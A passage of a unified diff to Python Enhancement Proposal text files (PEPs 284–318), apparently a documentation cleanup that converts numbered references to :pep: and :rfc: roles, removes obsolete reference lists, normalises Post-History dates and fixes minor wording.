+35,7 @@ Pronouncement This PEP is rejected. There were a number of fixable issues with the proposal (see the fixups listed in Raymond Hettinger's -python-dev post on 18 June 2005 [5]_). However, even with the fixups the +python-dev post on 18 June 2005 [1]_). However, even with the fixups the proposal did not garner support. Specifically, Guido did not buy the premise that the ``range()`` format needed fixing, "The whole point (15 years ago) of ``range()`` was to *avoid* needing syntax to specify a @@ -59,21 +59,21 @@ code that uses ``range()`` or ``xrange()``. The perceived lack of a natural, intuitive integer iteration syntax has led to heated debate on python-list, and spawned at -least four PEPs before this one. PEP 204 [1]_ (rejected) proposed +least four PEPs before this one. :pep:`204` (rejected) proposed to re-use Python's slice syntax for integer ranges, leading to a terser syntax but not solving the readability problem of -multi-argument ``range()``. PEP 212 [2]_ (deferred) proposed several +multi-argument ``range()``. :pep:`212` (deferred) proposed several syntaxes for directly converting a list to a sequence of integer indices, in place of the current idiom :: range(len(list)) -for such conversion, and PEP 281 [3]_ proposes to simplify the same +for such conversion, and :pep:`281` proposes to simplify the same idiom by allowing it to be written as :: range(list). -PEP 276 [4]_ proposes to allow automatic conversion of integers to +:pep:`276` proposes to allow automatic conversion of integers to iterators, simplifying the most common half-open case but not addressing the complexities of other types of interval. Additional alternatives have been discussed on python-list. @@ -213,13 +213,13 @@ proposals on the Python list. this loss is outweighed by the increase in readability from a natural integer iteration syntax. -- To some extent, this PEP addresses the same issues as PEP 276 - [4]_. We feel that the two PEPs are not in conflict since PEP - 276 is primarily concerned with half-open ranges starting in 0 +- To some extent, this PEP addresses the same issues as :pep:`276`. + We feel that the two PEPs are not in conflict since :pep:`276` + is primarily concerned with half-open ranges starting in 0 (the easy case of ``range()``) while this PEP is primarily concerned with simplifying all other cases. However, if this PEP is approved, its new simpler syntax for integer loops could to some - extent reduce the motivation for PEP 276. + extent reduce the motivation for :pep:`276`. - It is not clear whether it makes sense to allow floating point bounds for an integer loop: if a float represents an inexact @@ -256,19 +256,7 @@ into a loop over the items in a special iterator object. References ========== -.. [1] PEP 204, Range Literals - http://www.python.org/dev/peps/pep-0204/ - -.. [2] PEP 212, Loop Counter Iteration - http://www.python.org/dev/peps/pep-0212/ - -.. [3] PEP 281, Loop Counter Iteration with range and xrange - http://www.python.org/dev/peps/pep-0281/ - -.. [4] PEP 276, Simple Iterator for ints - http://www.python.org/dev/peps/pep-0276/ - -.. [5] Raymond Hettinger, Propose updating PEP 284 -- Integer for-loops +.. [1] Raymond Hettinger, Propose updating PEP 284 -- Integer for-loops https://mail.python.org/pipermail/python-dev/2005-June/054316.html diff --git a/pep-0285.txt b/pep-0285.txt index d271305c606..8d76c7123c8 100644 --- a/pep-0285.txt +++ b/pep-0285.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 08-Mar-2002 Python-Version: 2.3 -Post-History: 8-Mar-2002, 30-Mar-2002, 3-Apr-2002 +Post-History: 08-Mar-2002, 30-Mar-2002, 03-Apr-2002 Abstract diff --git a/pep-0286.txt b/pep-0286.txt index 6010f597b88..ae6a15c6ed6 100644 --- a/pep-0286.txt +++ b/pep-0286.txt @@ -28,7 +28,7 @@ PEP and collecting and incorporating feedback, and with sufficient available time to do so effectively. The resolution of this PEP may also be affected by the resolution of -PEP 426, which proposes the use of a preprocessing step to generate +:pep:`426`, which proposes the use of a preprocessing step to generate some aspects of C API interface code. diff --git a/pep-0287.txt b/pep-0287.txt index 862dd66d331..3d6ddfd36b3 100644 --- a/pep-0287.txt +++ b/pep-0287.txt @@ -3,7 +3,7 @@ Title: reStructuredText Docstring Format Version: $Revision$ Last-Modified: $Date$ Author: David Goodger -Discussions-To: +Discussions-To: doc-sig@python.org Status: Active Type: Informational Content-Type: text/x-rst @@ -25,7 +25,7 @@ what-you-see-is-what-you-get plaintext markup syntax. Only the low-level syntax of docstrings is addressed here. This PEP is not concerned with docstring semantics or processing at all (see -PEP 256 for a "Road Map to the Docstring PEPs"). Nor is it an attempt +:pep:`256` for a "Road Map to the Docstring PEPs"). Nor is it an attempt to deprecate pure plaintext docstrings, which are always going to be legitimate. The reStructuredText markup is an alternative for those who want more expressive docstrings. @@ -152,7 +152,7 @@ b) Replace the PEP section structure constructs with the Strategy (b) is recommended, and its implementation is complete. -Support for RFC 2822 headers has been added to the reStructuredText +Support for :rfc:`2822` headers has been added to the reStructuredText parser for PEPs (unambiguous given a specific context: the first contiguous block of the document). It may be desired to concretely specify what over/underline styles are allowed for PEP section @@ -271,7 +271,7 @@ SText idea, addressing all of the problems listed above. Specification ============= -The specification and user documentaton for reStructuredText is +The specification and user documentation for reStructuredText is quite extensive. Rather than repeating or summarizing it all here, links to the originals are provided. @@ -406,7 +406,7 @@ Docstring-Significant Features such as identifying parameters, exceptions raised, etc.; such usage is beyond the scope of this PEP. - A modified RFC 2822 syntax is used, with a colon *before* as well as + A modified :rfc:`2822` syntax is used, with a colon *before* as well as *after* the field name. Field bodies are more versatile as well; they may contain multiple field bodies (even nested field lists). For example:: @@ -418,7 +418,7 @@ Docstring-Significant Features - Myself - I - Standard RFC 2822 header syntax cannot be used for this construct + Standard :rfc:`2822` header syntax cannot be used for this construct because it is ambiguous. A word followed by a colon at the beginning of a line is common in written text. @@ -564,7 +564,7 @@ Questions & Answers [1] http://www.example.org/ [2] PEP 9876, Let's Hope We Never Get Here - http://www.python.org/dev/peps/pep-9876/ + http://peps.python.org/pep-9876/ [3] "Bogus Complexity Addition" @@ -624,8 +624,8 @@ Questions & Answers The PEP markup proposal may be removed if it is deemed that there is no need for PEP markup, or it could be made into a separate PEP. - If accepted, PEP 1, PEP Purpose and Guidelines [#PEP-1]_, and PEP - 9, Sample PEP Template [#PEP-9]_ will be updated. + If accepted, :pep:`1`, PEP Purpose and Guidelines, and :pep:`9`, + Sample PEP Template will be updated. It seems natural to adopt a single consistent markup standard for all uses of structured plaintext in Python, and to propose it all @@ -670,8 +670,8 @@ Questions & Answers input and check the output for correctness. In a strict sense, the reStructuredText parser is very unforgiving - (as it should be; "In the face of ambiguity, refuse the temptation - to guess" [#Zen]_ applies to parsing markup as well as computer + (as it should be; :pep:`"In the face of ambiguity, refuse the temptation + to guess" <20>` applies to parsing markup as well as computer languages). Here's design goal 3 from `An Introduction to reStructuredText`_: @@ -727,20 +727,6 @@ Questions & Answers References & Footnotes ====================== -.. [#PEP-1] PEP 1, PEP Guidelines, Warsaw, Hylton - (http://www.python.org/dev/peps/pep-0001/) - -.. [#PEP-9] PEP 9, Sample PEP Template, Warsaw - (http://www.python.org/dev/peps/pep-0009/) - -.. [#Zen] From `The Zen of Python (by Tim Peters)`__ (or just - "``import this``" in Python) - -__ http://www.python.org/doc/Humor.html#zen - -.. [#PEP-216] PEP 216, Docstring Format, Zadka - (http://www.python.org/dev/peps/pep-0216/) - .. _reStructuredText markup: http://docutils.sourceforge.net/rst.html .. _Doc-SIG: http://www.python.org/sigs/doc-sig/ @@ -799,7 +785,7 @@ This document has been placed in the public domain. Acknowledgements ================ -Some text is borrowed from PEP 216, Docstring Format [#PEP-216]_, by +Some text is borrowed from :pep:`216`, Docstring Format, by Moshe Zadka. Special thanks to all members past & present of the Python Doc-SIG_. diff --git a/pep-0288.txt b/pep-0288.txt index 2640fde5497..b727c9e56f5 100644 --- a/pep-0288.txt +++ b/pep-0288.txt @@ -22,7 +22,7 @@ Status ====== This PEP is withdrawn. The exception raising mechanism was extended -and subsumed into PEP 343. The attribute passing capability +and subsumed into :pep:`343`. The attribute passing capability never built a following, did not have a clear implementation, and did not have a clean way for the running generator to access its own namespace. @@ -119,7 +119,7 @@ code cannot be excepted to or through. Generator exception passing also helps address an intrinsic limitation on generators, the prohibition against their using -try/finally to trigger clean-up code [2]_. +try/finally to trigger clean-up code (:pep:`255`). Note A: The name of the throw method was selected for several reasons. Raise is a keyword and so cannot be used as a method @@ -149,12 +149,6 @@ References http://gnosis.cx/publish/programming/charming_python_b5.txt http://gnosis.cx/publish/programming/charming_python_b7.txt -.. [2] PEP 255 Simple Generators - http://www.python.org/dev/peps/pep-0255/ - -.. [3] Proof-of-concept recipe - http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/164044 - Copyright diff --git a/pep-0289.txt b/pep-0289.txt index e1d06fb75b7..312677b2c7e 100644 --- a/pep-0289.txt +++ b/pep-0289.txt @@ -15,8 +15,8 @@ Abstract ======== This PEP introduces generator expressions as a high performance, -memory efficient generalization of list comprehensions [1]_ and -generators [2]_. +memory efficient generalization of list comprehensions :pep:`202` and +generators :pep:`255`. Rationale @@ -214,7 +214,7 @@ for-expression should be evaluated immediately and that the remaining expressions be evaluated when the generator is executed. Asked to summarize the reasoning for binding the first expression, -Guido offered [5]_:: +Guido offered [1]_:: Consider sum(x for x in foo()). Now suppose there's a bug in foo() that raises an exception, and a bug in sum() that raises an @@ -243,7 +243,7 @@ issues were hard to understand and that users should be strongly encouraged to use generator expressions inside functions that consume their arguments immediately. For more complex applications, full generator definitions are always superior in terms of being obvious -about scope, lifetime, and binding [6]_. +about scope, lifetime, and binding [2]_. Reduction Functions @@ -275,35 +275,22 @@ Acknowledgements * Armin Rigo, Tim Peters, Guido van Rossum, Samuele Pedroni, Hye-Shik Chang and Raymond Hettinger teased out the issues surrounding - early versus late binding [5]_. + early versus late binding [1]_. * Jiwon Seo single-handedly implemented various versions of the proposal including the final version loaded into CVS. Along the way, there were periodic code reviews by Hye-Shik Chang and Raymond Hettinger. Guido van Rossum made the key design decisions after comments from Armin Rigo and newsgroup discussions. Raymond Hettinger provided - the test suite, documentation, tutorial, and examples [6]_. + the test suite, documentation, tutorial, and examples [2]_. References ========== -.. [1] PEP 202 List Comprehensions - http://www.python.org/dev/peps/pep-0202/ - -.. [2] PEP 255 Simple Generators - http://www.python.org/dev/peps/pep-0255/ - -.. [3] Peter Norvig's Accumulation Display Proposal - http://www.norvig.com/pyacc.html - -.. [4] Jeff Epler had worked up a patch demonstrating - the previously proposed bracket and yield syntax - https://bugs.python.org/issue795947 - -.. [5] Discussion over the relative merits of early versus late binding +.. [1] Discussion over the relative merits of early versus late binding https://mail.python.org/pipermail/python-dev/2004-April/044555.html -.. [6] Patch discussion and alternative patches on Source Forge +.. [2] Patch discussion and alternative patches on Source Forge https://bugs.python.org/issue872326 diff --git a/pep-0290.txt b/pep-0290.txt index b364cf6b354..425d2b8c790 100644 --- a/pep-0290.txt +++ b/pep-0290.txt @@ -29,8 +29,8 @@ This repository of procedures serves as a catalog or checklist of known migration issues and procedures for addressing those issues. Migration issues can arise for several reasons. Some obsolete -features are slowly deprecated according to the guidelines in PEP 4 -[1]_. Also, some code relies on undocumented behaviors which are +features are slowly deprecated according to the guidelines in :pep:`4`. +Also, some code relies on undocumented behaviors which are subject to change between versions. Some code may rely on behavior which was subsequently shown to be a bug and that behavior changes when the bug is fixed. @@ -426,7 +426,7 @@ Pattern:: NewError = 'NewError' --> class NewError(Exception): pass -Locating: Use PyChecker_. +Locating: Use `PyChecker `__. All Python Versions @@ -448,15 +448,6 @@ Pattern:: Locating: ``grep '== None'`` or ``grep '!= None'`` -References -========== - -.. [1] PEP 4, Deprecation of Standard Modules, von Loewis - (http://www.python.org/dev/peps/pep-0004/) - -.. _PyChecker: http://pychecker.sourceforge.net/ - - Copyright ========= diff --git a/pep-0292.txt b/pep-0292.txt index f4001d112f4..0aed5bae8cf 100644 --- a/pep-0292.txt +++ b/pep-0292.txt @@ -23,8 +23,8 @@ respects: (i.e. ``%``-substitution) is complicated and error prone. This PEP is simpler at the cost of some expressiveness. -2. PEP 215 proposed an alternative string interpolation feature, - introducing a new ``$`` string prefix. PEP 292 is simpler than +2. :pep:`215` proposed an alternative string interpolation feature, + introducing a new ``$`` string prefix. :pep:`292` is simpler than this because it involves no syntax changes and has much simpler rules for what substitutions can occur in the string. @@ -128,16 +128,16 @@ easier to teach, learn, and remember. Comparison to PEP 215 ===================== -PEP 215 describes an alternate proposal for string interpolation. +:pep:`215` describes an alternate proposal for string interpolation. Unlike that PEP, this one does not propose any new syntax for Python. All the proposed new features are embodied in a new -library module. PEP 215 proposes a new string prefix +library module. :pep:`215` proposes a new string prefix representation such as ``$""`` which signal to Python that a new type of string is present. ``$``-strings would have to interact with the existing r-prefixes and u-prefixes, essentially doubling the number of string prefix combinations. -PEP 215 also allows for arbitrary Python expressions inside the +:pep:`215` also allows for arbitrary Python expressions inside the ``$``-strings, so that you could do things like:: import sys @@ -147,15 +147,15 @@ which would return:: sys = , sys = -It's generally accepted that the rules in PEP 215 are safe in the -sense that they introduce no new security issues (see PEP 215, +It's generally accepted that the rules in :pep:`215` are safe in the +sense that they introduce no new security issues (see :pep:`215`, "Security Issues" for details). However, the rules are still quite complex, and make it more difficult to see the substitution placeholder in the original ``$``-string. The interesting thing is that the ``Template`` class defined in this PEP is designed for inheritance and, with a little extra work, -it's possible to support PEP 215's functionality using existing +it's possible to support :pep:`215`'s functionality using existing Python syntax. For example, one could define subclasses of ``Template`` and dict that diff --git a/pep-0294.txt b/pep-0294.txt index 3558005b832..01a0e68d578 100644 --- a/pep-0294.txt +++ b/pep-0294.txt @@ -27,7 +27,7 @@ The long capitalized names currently in the types module will be deprecated. With this change the types module can serve as a replacement for the -new module. The new module shall be deprecated and listed in PEP 4. +new module. The new module shall be deprecated and listed in :pep:`4`. Pronouncement diff --git a/pep-0296.txt b/pep-0296.txt index cd580b6a755..22bb085af25 100644 --- a/pep-0296.txt +++ b/pep-0296.txt @@ -14,7 +14,7 @@ Post-History: Notice ======= -This PEP is withdrawn by the author (in favor of PEP 358). +This PEP is withdrawn by the author (in favor of :pep:`358`). Abstract diff --git a/pep-0298.txt b/pep-0298.txt index 28cb1b0d9b7..0414fcb1426 100644 --- a/pep-0298.txt +++ b/pep-0298.txt @@ -8,7 +8,7 @@ Type: Standards Track Content-Type: text/x-rst Created: 26-Jul-2002 Python-Version: 2.3 -Post-History: 30-Jul-2002, 1-Aug-2002 +Post-History: 30-Jul-2002, 01-Aug-2002 Abstract @@ -193,7 +193,7 @@ Guido recommends For strings that might be impractical because the string object would have to grow 4 bytes to hold the counter; but the - new bytes object (PEP 296) could easily implement the counter, + new bytes object (:pep:`296`) could easily implement the counter, and the array object too -- that way there will be plenty of opportunity to test proper use of the protocol. @@ -224,9 +224,6 @@ References .. [1] The buffer interface https://mail.python.org/pipermail/python-dev/2000-October/009974.html -.. [2] The Buffer Problem - http://www.python.org/dev/peps/pep-0296/ - Copyright ========= diff --git a/pep-0301.txt b/pep-0301.txt index a8bb1259069..b748e843e3d 100644 --- a/pep-0301.txt +++ b/pep-0301.txt @@ -5,10 +5,11 @@ Last-Modified: $Date$ Author: Richard Jones Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 24-Oct-2002 Python-Version: 2.3 -Post-History: 8-Nov-2002 +Post-History: 08-Nov-2002 Abstract @@ -20,9 +21,9 @@ tools for submitting package information to the index and extensions to the package metadata to include Trove [2]_ information. This PEP does not address issues of package dependency. It also does -not address storage and download of packages as described in PEP 243 -[6]_. Nor is it proposing a local database of packages as described -in PEP 262 [7]_. +not address storage and download of packages as described in :pep:`243`. +Nor is it proposing a local database of packages as described +in :pep:`262`. Existing package repositories such as the Vaults of Parnassus [3]_, CPAN [4]_ and PAUSE [5]_ will be investigated as prior art in this @@ -52,15 +53,15 @@ The interface for submitting information to the catalog should be as simple as possible - hopefully just a one-line command for most users. Issues of package dependency are not addressed due to the complexity -of such a system. PEP 262 proposes such a system, but as of this +of such a system. :pep:`262` proposes such a system, but as of this writing the PEP is still unfinished. Issues of package dissemination (storage on a central server) are not addressed because they require assumptions about availability of -storage and bandwidth that I am not in a position to make. PEP 243, +storage and bandwidth that I am not in a position to make. :pep:`243`, which is still being developed, is tackling these issues and many more. This proposal is considered compatible with, and adjunct to -the proposal in PEP 243. +the proposal in :pep:`243`. Specification @@ -333,7 +334,7 @@ Rejected Proposals ================== Originally, the index server was to return custom headers (inspired by -PEP 243): +:pep:`243`): **X-Pypi-Status** Either "success" or "fail". @@ -342,7 +343,7 @@ PEP 243): A description of the reason for failure, or additional information in the case of a success. -However, it has been pointed out [8]_ that this is a bad scheme to +However, it has been pointed out [6]_ that this is a bad scheme to use. @@ -364,13 +365,7 @@ References .. [5] PAUSE (http://pause.cpan.org/) -.. [6] PEP 243, Module Repository Upload Mechanism - (http://www.python.org/dev/peps/pep-0243/) - -.. [7] PEP 262, A Database of Installed Python Packages - (http://www.python.org/dev/peps/pep-0262/) - -.. [8] [PEP243] upload status is bogus +.. [6] [PEP243] upload status is bogus (https://mail.python.org/pipermail/distutils-sig/2001-March/002262.html) diff --git a/pep-0302.txt b/pep-0302.txt index a998303652f..bdea0a363ec 100644 --- a/pep-0302.txt +++ b/pep-0302.txt @@ -72,13 +72,13 @@ are stored in a non-standard way. Examples include modules that are bundled together in an archive; byte code that is not stored in a ``pyc`` formatted file; modules that are loaded from a database over a network. -The work on this PEP was partly triggered by the implementation of PEP 273, +The work on this PEP was partly triggered by the implementation of :pep:`273`, which adds imports from Zip archives as a built-in feature to Python. While the PEP itself was widely accepted as a must-have feature, the implementation left a few things to desire. For one thing it went through great lengths to integrate itself with ``import.c``, adding lots of code that was either specific for Zip file imports or *not* specific to Zip imports, yet was not -generally useful (or even desirable) either. Yet the PEP 273 implementation +generally useful (or even desirable) either. Yet the :pep:`273` implementation can hardly be blamed for this: it is simply extremely hard to do, given the current state of ``import.c``. @@ -265,7 +265,7 @@ The ``load_module()`` method has a few responsibilities that it must fulfill importer-specific extras, for example getting data associated with an importer. -* The ``__package__`` attribute [8]_ must be set. +* The ``__package__`` attribute must be set (:pep:`366`). If the module is a Python module (as opposed to a built-in module or a dynamically loaded extension), it should execute the module's code in the @@ -398,7 +398,8 @@ the module as a string (using newline characters for line endings) or ``None`` if the source is not available (yet it should still raise ``ImportError`` if the module can't be found by the importer at all). -To support execution of modules as scripts [6]_, the above three methods for +To support execution of modules as scripts (:pep:`338`), +the above three methods for finding the code associated with a module must be implemented. In addition to those methods, the following method may be provided in order to allow the ``runpy`` module to correctly set the ``__file__`` attribute:: @@ -519,11 +520,11 @@ user-defined hooks either before or after it. Implementation ============== -The PEP 302 implementation has been integrated with Python as of 2.3a1. An +The :pep:`302` implementation has been integrated with Python as of 2.3a1. An earlier version is available as patch #652586 [9]_, but more interestingly, the issue contains a fairly detailed history of the development and design. -PEP 273 has been implemented using PEP 302's import hooks. +:pep:`273` has been implemented using :pep:`302`'s import hooks. References and Footnotes @@ -546,15 +547,9 @@ References and Footnotes from the actual parent module or be supplied by ``imp.find_module()`` or the proposed ``imp.get_loader()`` function. -.. [6] PEP 338: Executing modules as scripts - http://www.python.org/dev/peps/pep-0338/ - .. [7] Quixote, a framework for developing Web applications http://www.mems-exchange.org/software/quixote/ -.. [8] PEP 366: Main module explicit relative imports - http://www.python.org/dev/peps/pep-0366/ - .. [9] New import hooks + Import from Zip files http://bugs.python.org/issue652586 diff --git a/pep-0304.txt b/pep-0304.txt index 51979da828b..e21ba570391 100644 --- a/pep-0304.txt +++ b/pep-0304.txt @@ -20,7 +20,7 @@ by other changes in the intervening years: - the introduction of isolated mode to handle potential security concerns - the switch to ``importlib``, a fully import-hook based import system implementation -- PEP 3147's change in the bytecode cache layout to use ``__pycache__`` +- :pep:`3147`'s change in the bytecode cache layout to use ``__pycache__`` subdirectories, including the ``source_to_cache(path)`` and ``cache_to_source(path)`` APIs that allow the interpreter to automatically handle the redirection to a separate cache directory @@ -239,11 +239,11 @@ Issues - The interaction of this PEP with import hooks has not been considered yet. In fact, the best way to implement this idea might - be as an import hook. See PEP 302. [5]_ + be as an import hook. See :pep:`302`. -- In the current (pre-PEP 304) environment, it is safe to delete a +- In the current (pre-:pep:`304`) environment, it is safe to delete a source file after the corresponding bytecode file has been created, - since they reside in the same directory. With PEP 304 as currently + since they reside in the same directory. With :pep:`304` as currently defined, this is not the case. A bytecode file in the augmented directory is only considered when the source file is present and it thus never considered when looking for module files ending in @@ -344,9 +344,6 @@ References .. [4] python-dev thread, Parallel pyc construction, Dubois (https://mail.python.org/pipermail/python-dev/2003-January/032060.html) -.. [5] PEP 302, New Import Hooks, van Rossum and Moore - (http://www.python.org/dev/peps/pep-0302) - .. [6] patch 677103, PYTHONBYTECODEBASE patch (PEP 304), Montanaro (https://bugs.python.org/issue677103) diff --git a/pep-0305.txt b/pep-0305.txt index c86a6813016..3e82d819013 100644 --- a/pep-0305.txt +++ b/pep-0305.txt @@ -7,7 +7,7 @@ Author: Kevin Altis , Andrew McNamara , Skip Montanaro , Cliff Wells -Discussions-To: +Discussions-To: csv@python.org Status: Final Type: Standards Track Content-Type: text/x-rst diff --git a/pep-0307.txt b/pep-0307.txt index 9e552266d15..8b6ddcc2e57 100644 --- a/pep-0307.txt +++ b/pep-0307.txt @@ -7,7 +7,7 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 31-Jan-2003 -Post-History: 7-Feb-2003 +Post-History: 07-Feb-2003 Introduction ============ diff --git a/pep-0308.txt b/pep-0308.txt index 940bf3c35fd..3f82e7e3aca 100644 --- a/pep-0308.txt +++ b/pep-0308.txt @@ -7,7 +7,7 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 07-Feb-2003 -Post-History: 7-Feb-2003, 11-Feb-2003 +Post-History: 07-Feb-2003, 11-Feb-2003 Adding a conditional expression diff --git a/pep-0310.txt b/pep-0310.txt index 61d72d0fe57..09a38971156 100644 --- a/pep-0310.txt +++ b/pep-0310.txt @@ -3,7 +3,7 @@ Title: Reliable Acquisition/Release Pairs Version: $Revision$ Last-Modified: $Date$ Author: Michael Hudson , - Paul Moore + Paul Moore Status: Rejected Type: Standards Track Content-Type: text/x-rst @@ -30,7 +30,7 @@ This PEP proposes a piece of syntax (a 'with' block) and a Pronouncement ============= -This PEP is rejected in favor of PEP 343. +This PEP is rejected in favor of :pep:`343`. Rationale @@ -191,7 +191,7 @@ in deep and subtle ways and as such belong to a different PEP. Any Smalltalk/Ruby anonymous block style extension obviously subsumes this one. -PEP 319 is in the same area, but did not win support when aired on +:pep:`319` is in the same area, but did not win support when aired on python-dev. @@ -238,12 +238,9 @@ could be mentioned here. https://mail.python.org/pipermail/python-dev/2003-August/037795.html .. [3] Thread on python-dev with subject - -.. [Python-Dev] pre-PEP: Resource-Release Support for Generators - - starting at - - https://mail.python.org/pipermail/python-dev/2003-August/037803.html + `[Python-Dev] pre-PEP: Resource-Release Support for Generators` + starting at + https://mail.python.org/pipermail/python-dev/2003-August/037803.html Copyright ========= diff --git a/pep-0311.txt b/pep-0311.txt index 1b7aabc5398..546719506f1 100644 --- a/pep-0311.txt +++ b/pep-0311.txt @@ -7,7 +7,7 @@ Status: Final Type: Standards Track Content-Type: text/x-rst Created: 05-Feb-2003 -Post-History: 05-Feb-2003 14-Feb-2003 19-Apr-2003 +Post-History: 05-Feb-2003, 14-Feb-2003, 19-Apr-2003 Abstract @@ -102,7 +102,7 @@ must continue to call ``Py_Initialize()``, and for multi-threaded applications, ``PyEval_InitThreads()``. The reason for this is that the first thread to call ``PyEval_InitThreads()`` is nominated as the "main thread" by Python, and so forcing the extension author to -specify the main thread (by forcing her to make this first call) +specify the main thread (by requiring them to make this first call) removes ambiguity. As ``Py_Initialize()`` must be called before ``PyEval_InitThreads()``, and as both of these functions currently support being called multiple times, the burden this places on diff --git a/pep-0313.txt b/pep-0313.txt index 20b9ea46870..c516c614134 100644 --- a/pep-0313.txt +++ b/pep-0313.txt @@ -87,11 +87,11 @@ The new built-in function "roman" will aide the translation from integers to Roman numeral literals. It will accept a single object as an argument, and return a string containing the literal of the same value. If the argument is not an integer or a -rational (see PEP 239 [1]_) it will passed through the existing +rational (see :pep:`239`) it will passed through the existing built-in "int" to obtain the value. This may cause a loss of information if the object was a float. If the object is a rational, then the result will be formatted as a rational literal -(see PEP 240 [2]_) with the integers in the string being Roman +(see :pep:`240`) with the integers in the string being Roman numeral literals. @@ -104,31 +104,17 @@ characters M, D, C, L, X, V and I will be affected by the new literals. These programs will now have syntax errors when those variables are assigned, and either syntax errors or subtle bugs when those variables are referenced in expressions. Since such -variable names violate PEP 8 [3]_, the code is already broken, it +variable names violate :pep:`8`, the code is already broken, it just wasn't generating exceptions. This proposal corrects that oversight in the language. -References -========== - -.. [1] PEP 239, Adding a Rational Type to Python - http://www.python.org/dev/peps/pep-0239/ - -.. [2] PEP 240, Adding a Rational Literal to Python - http://www.python.org/dev/peps/pep-0240/ - -.. [3] PEP 8, Style Guide for Python Code - http://www.python.org/dev/peps/pep-0008/ - - Copyright ========= This document has been placed in the public domain. - .. Local Variables: mode: indented-text diff --git a/pep-0314.txt b/pep-0314.txt index 6355b4388fc..71a713c5da9 100644 --- a/pep-0314.txt +++ b/pep-0314.txt @@ -5,6 +5,7 @@ Last-Modified: $Date$ Author: A.M. Kuchling, Richard Jones Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 12-Apr-2003 Python-Version: 2.5 @@ -20,7 +21,7 @@ packages. It includes specifics of the field names, and their semantics and usage. This document specifies version 1.1 of the metadata format. -Version 1.0 is specified in PEP 241. +Version 1.0 is specified in :pep:`241`. Including Metadata in Packages @@ -37,7 +38,7 @@ command will, if it detects an existing PKG-INFO file, terminate with an appropriate error message. This should prevent confusion caused by the PKG-INFO and setup.py files being out of sync. -The PKG-INFO file format is a single set of RFC-822 headers +The PKG-INFO file format is a single set of :rfc:`822` headers parseable by the rfc822.py module. The field names listed in the following section are used as the header names. @@ -181,7 +182,7 @@ Author-email ------------ A string containing the author's e-mail address. It can contain -a name and e-mail address in the legal forms for a RFC-822 +a name and e-mail address in the legal forms for a :rfc:`822` 'From:' header. It's not optional because cataloging systems can use the e-mail portion of this field as a unique key representing the author. A catalog might provide authors the @@ -212,7 +213,7 @@ Classifier (multiple use) ------------------------- Each entry is a string giving a single classification value -for the package. Classifiers are described in PEP 301 [2]_. +for the package. Classifiers are described in :pep:`301`. Examples:: @@ -297,7 +298,7 @@ Summary of Differences From PEP 241 * Metadata-Version is now 1.1. -* Added the Classifiers field from PEP 301. +* Added the Classifiers field from :pep:`301`. * The License and Platform files should now only be used if the platform or license can't be handled by an appropriate Classifier @@ -324,9 +325,6 @@ References .. [1] reStructuredText http://docutils.sourceforge.net/ -.. [2] PEP 301 - http://www.python.org/dev/peps/pep-0301/ - Copyright ========= diff --git a/pep-0316.txt b/pep-0316.txt index 685e3e6a074..0c63f661e90 100644 --- a/pep-0316.txt +++ b/pep-0316.txt @@ -7,7 +7,6 @@ Status: Deferred Type: Standards Track Content-Type: text/x-rst Created: 02-May-2003 -Python-Version: Post-History: @@ -299,7 +298,7 @@ A somewhat contrived example:: Returns None if no message is available. pre: self.is_open() # we must have an open connection - post: __return__ == None or isinstance(__return__, Message) + post: __return__ is None or isinstance(__return__, Message) """ class ComplexMailClient(SimpleMailClient): diff --git a/pep-0317.txt b/pep-0317.txt index f2a78ec1b8b..c2fcd32f26b 100644 --- a/pep-0317.txt +++ b/pep-0317.txt @@ -43,7 +43,7 @@ proposed implementation schedule, Python 2.4 will introduce warnings about uses of ``raise`` which will eventually become incorrect, and Python 3.0 will eliminate them entirely. (It is assumed that this transition period -- 2.4 to 3.0 -- will be at least one year long, to -comply with the guidelines of PEP 5 [2]_.) +comply with the guidelines of :pep:`5`.) Motivation @@ -184,7 +184,7 @@ Migration Plan Future Statement '''''''''''''''' -Under the future statement [4]_ :: +Under the :pep:`236` future statement:: from __future__ import raise_with_two_args @@ -200,7 +200,7 @@ simple exception raising does not require it. Warnings '''''''' -Three new warnings [5]_, all of category ``DeprecationWarning``, are +Three new :pep:`warnings <230>`, all of category ``DeprecationWarning``, are to be issued to point out uses of ``raise`` which will become incorrect under the proposed changes. @@ -433,18 +433,9 @@ References .. [1] "Standard Exception Classes in Python 1.5", Guido van Rossum. http://www.python.org/doc/essays/stdexceptions.html -.. [2] "Guidelines for Language Evolution", Paul Prescod. - http://www.python.org/dev/peps/pep-0005/ - .. [3] "Python Language Reference", Guido van Rossum. http://docs.python.org/reference/simple_stmts.html#raise -.. [4] PEP 236 "Back to the __future__", Tim Peters. - http://www.python.org/dev/peps/pep-0236/ - -.. [5] PEP 230 "Warning Framework", Guido van Rossum. - http://www.python.org/dev/peps/pep-0230/ - .. [6] Guido van Rossum, 11 June 2003 post to ``python-dev``. https://mail.python.org/pipermail/python-dev/2003-June/036176.html diff --git a/pep-0318.txt b/pep-0318.txt index ea62e16a3bb..276a9c37aa4 100644 --- a/pep-0318.txt +++ b/pep-0318.txt @@ -9,7 +9,7 @@ Content-Type: text/x-rst Created: 05-Jun-2003 Python-Version: 2.4 Post-History: 09-Jun-2003, 10-Jun-2003, 27-Feb-2004, 23-Mar-2004, 30-Aug-2004, - 2-Sep-2004 + 02-Sep-2004 WarningWarningWarning @@ -72,7 +72,7 @@ using metaclasses is sufficiently obscure that there is some attraction to having an easier way to make simple modifications to classes. For Python 2.4, only function/method decorators are being added. -PEP 3129 [#PEP-3129] proposes to add class decorators as of Python 2.6. +:pep:`3129` proposes to add class decorators as of Python 2.6. Why Is This So Hard? @@ -110,7 +110,7 @@ seem to be most divisive. * Syntax discussions in general appear to cause more contention than almost anything else. Readers are pointed to the ternary operator - discussions that were associated with PEP 308 for another example of + discussions that were associated with :pep:`308` for another example of this. @@ -836,7 +836,7 @@ syntactic support. .. _strong arguments: https://mail.python.org/pipermail/python-dev/2004-March/thread.html - PEP 3129 [#PEP-3129] proposes to add class decorators as of Python 2.6. + :pep:`3129` proposes to add class decorators as of Python 2.6. 2. The choice of the ``@`` character will be re-examined before Python 2.4b1. @@ -844,13 +844,6 @@ syntactic support. In the end, the ``@`` character was kept. -References -========== - -.. [#PEP-3129] PEP 3129, "Class Decorators", Winter - http://www.python.org/dev/peps/pep-3129 - - 